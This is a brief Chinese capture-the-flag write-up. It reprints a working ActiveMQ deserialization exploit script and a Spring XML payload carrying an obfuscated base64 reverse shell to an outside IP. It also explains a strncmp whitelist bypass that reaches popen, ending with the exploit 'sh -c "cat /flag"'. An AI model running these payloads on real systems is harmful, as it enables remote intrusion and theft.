唉,咱好菜,就出了两个题,ghostscript那个题调了半天没调通

Be-an-ActiveMq-Hacker

搜了一下 用网上的exp打通了

https://blog.csdn.net/weixin_49125123/article/details/135577221

import io
import socket
import sys


def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

vision

问题出在 not Support 4 这里,在 strncmp这,

else
 {
   memset(s2, 0, sizeof(s2));
   v11 = strchr(a1, 32);
   if ( v11 )
   {
     strncpy(s2, a1, v11 - a1);
   }
   else
   {
     n = strlen(a1);
     strncpy(s2, a1, n);
   }
   v13 = strlen(s2);
   if ( v13 )
   {
     v7 = 0;
     v10 = off_4020[0];
     while ( strncmp(v10, s2, v13) )
     {
       v10 = off_4020[++v7];
       if ( !off_4020[v7] )
       {
         strcpy(a2, "Not Support 4. \n");
         return __readfsqword(0x28u) ^ v23;
       }
     }

这里的逻辑是,判断输入的字符串在不在命令列表里面,strncmp 需要一个大小的参数,来判断cmp多少字节,cmp成功后会先判断是不是一些预设的命令,如果不是就会传到下边popen那执行命令

.data:0000000000004020 6B 20 00 00 00 00 00 00       off_4020 dq offset s1                   ; DATA XREF: sub_1589+3E5↑o
.data:0000000000004020                                                                       ; sub_1589+410↑o
.data:0000000000004020                                                                       ; sub_1589+432↑o
.data:0000000000004020                                                                       ; "ping"
.data:0000000000004028 70 20 00 00 00 00 00 00       dq offset aUname                        ; "uname"
.data:0000000000004030 76 20 00 00 00 00 00 00       dq offset aPwd                          ; "pwd"
.data:0000000000004038 7A 20 00 00 00 00 00 00       dq offset aDate                         ; "date"
.data:0000000000004040 7F 20 00 00 00 00 00 00       dq offset aId                           ; "id"
.data:0000000000004048 82 20 00 00 00 00 00 00       dq offset aWhoami                       ; "whoami"
.data:0000000000004050 89 20 00 00 00 00 00 00       dq offset aPoweroff                     ; "poweroff"
.data:0000000000004058 92 20 00 00 00 00 00 00       dq offset aShowkey                      ; "showKey"
.data:0000000000004060 9A 20 00 00 00 00 00 00       dq offset aOpenthedoor                  ; "openthedoor"
.data:0000000000004068 00 00 00 00 00 00 00 00       align 10h
  else
  {
    stream = popen(a1, "re");
    if ( !stream )
    {
      perror("popen failed");
      exit(1);
    }
    while ( fgets(s, 256, stream) )
      strcat(a2, s);
    pclose(stream);
  }
}

命令列表那有一个showkey,如果传一个sh,strncmp cmp两个字节,这个cmp就过了,会传到下边popen那执行命令

exp

sh -c "cat /flag"
⬆︎TOP